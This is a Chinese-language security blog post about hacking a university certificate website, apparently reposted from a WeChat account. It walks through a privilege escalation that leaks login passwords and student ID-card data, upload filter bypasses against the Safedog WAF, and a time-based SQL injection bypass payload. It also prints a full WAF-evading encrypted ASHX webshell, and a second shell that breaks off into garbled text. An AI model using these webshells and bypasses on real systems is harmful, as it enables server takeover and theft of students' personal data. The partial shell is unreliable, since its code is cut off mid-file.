记一次对某个985证书站大学的漏洞挖掘

admin 2023年6月21日09:38:43评论126 views字数 3096阅读10分19秒阅读模式

免责声明

本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。

由于传播、利用本公众号所发布的而造成的任何直接或者间接的后果及损失,均由使用者本人承担。漏洞猎人安全公众号及原文章作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文中涉及漏洞均以提交至相关漏洞平台,禁止打再次复现主意!!!

本次挖掘的目标是国内某开大学

漏洞点1:越权

url:https://xxxx.xxxxx.edu.cn

某开大学证书站 (同系统不同站 思路一样)
通过superadmin账号登录获取日志接口信息
password替换成
ecfe6335568d9aa8fxxxxxxxd92bca

记一次对某个985证书站大学的漏洞挖掘

日志接口获取所有登录过的账号和密码
post /sys/log/loadLogLoginAndOutList
rows=10&page=2&order=asc&remote_ip=&username=&startTime=&endTime=

记一次对某个985证书站大学的漏洞挖掘

拿获取的学生账号登录
15xxxxxx

3a453xxxxxxxxxxxx1eef6d9
接口获取学生个人信息,身份证+姓名+学号
/gradms/base/infoStutrainInfo/loadInfoStutrainInfoList?state=1
GET改为POST传输

rows=10&page=1&order=asc&orgCode=&majorUniqueId=&grade=&perNum=&perName=
page是页数

记一次对某个985证书站大学的漏洞挖掘

POST /auth/switchPosition
positionId=1
直接成为管理员

记一次对某个985证书站大学的漏洞挖掘

漏洞点2:文件上传GetShell

漏洞点1:

网站存在一处上传

WAF是安全狗的 头像处

先上传一个11.jpg的文件,然后抓包的时候改成11.html.ashx

然后记住104DCCCA002D5F067BFD970D2CF37410这样就绕过检测

直接上传11.ashx会waf拦截

记一次对某个985证书站大学的漏洞挖掘

然后继续吧得到的Ticket替换之前成11.html.ashx的

然后插入免杀一句话,11.jpg改成11.html.ashx并且替换ticket改成 104DCCCA002D5F067BFD970D2CF37410

记一次对某个985证书站大学的漏洞挖掘

WAF检测文件名和内容

这里用到两个脚本一个是ashx免杀马

一个是生成文件的马,都能绕过安全狗检测

ashx马:

<%@ Language="C#" Class="Handler1" %>

public class Handler1 : System.Web.IHttpHandler,System.Web.SessionState.IRequiresSessionState

{

public void ProcessRequest(System.Web.HttpContext Context) { try{string key = "202cb962ac59075b";string pass = "123";string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");byte[] data = System.Convert.FromBase64String(Context.Request[pass]);data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);if (Context.Session["payload"] == null){ Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ;}else{ object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); o.Equals(Context); o.Equals(data); byte[] r = System.Convert.FromBase64String(o.ToString()); Context.Response.Write(md5.Substring(0, 16)); Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));}}catch(System.Exception){} } public bool IsReusable { get { return false; } } }

ashx生成马:

<%@ WebHandler Language="C#" Class="Handler" %>

using System;

using System.Web;

using System.IO;

public class Handler : IHttpHandler {

public void ProcessRequest (HttpContext context) { context.Response.ContentType = "text/plain"; //偬(頤

目录遍历(全局都是遍历)

可以看到解析了并且内容也出来了

记一次对某个985证书站大学的漏洞挖掘

漏洞2

账号注册随意 一般都有头像上传或者申请要上传证件照什么的

记一次对某个985证书站大学的漏洞挖掘

记一次对某个985证书站大学的漏洞挖掘

如果上传php-waf的话拦截

记一次对某个985证书站大学的漏洞挖掘

记一次对某个985证书站大学的漏洞挖掘

Content-Disposition: form-data; name="file"; filename="1.html

Content-Disposition: filename="."

双写Content-Disposition拼接绕过

判断第一个filename获取不到闭合换下行组合白名单闭合绕过

漏洞点3:SQL注入两处Bypass

注入点

/apps/MyVideo/TeacherSchool/MyStudent.aspx

注入绕过

11'+//AND+//(//SELECT//+2868+//FROM//+(//SELECT//(SLEEP(2)))pcFy)+//AND//+'

记一次对某个985证书站大学的漏洞挖掘

记一次对某个985证书站大学的漏洞挖掘

成功注入出数据

原文始发于微信公众号(漏洞猎人安全):记一次对某个985证书站大学的漏洞挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月21日09:38:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次对某个985证书站大学的漏洞挖掘http://cn-sec.com/archives/1822474.html

发表评论

匿名网友 填写信息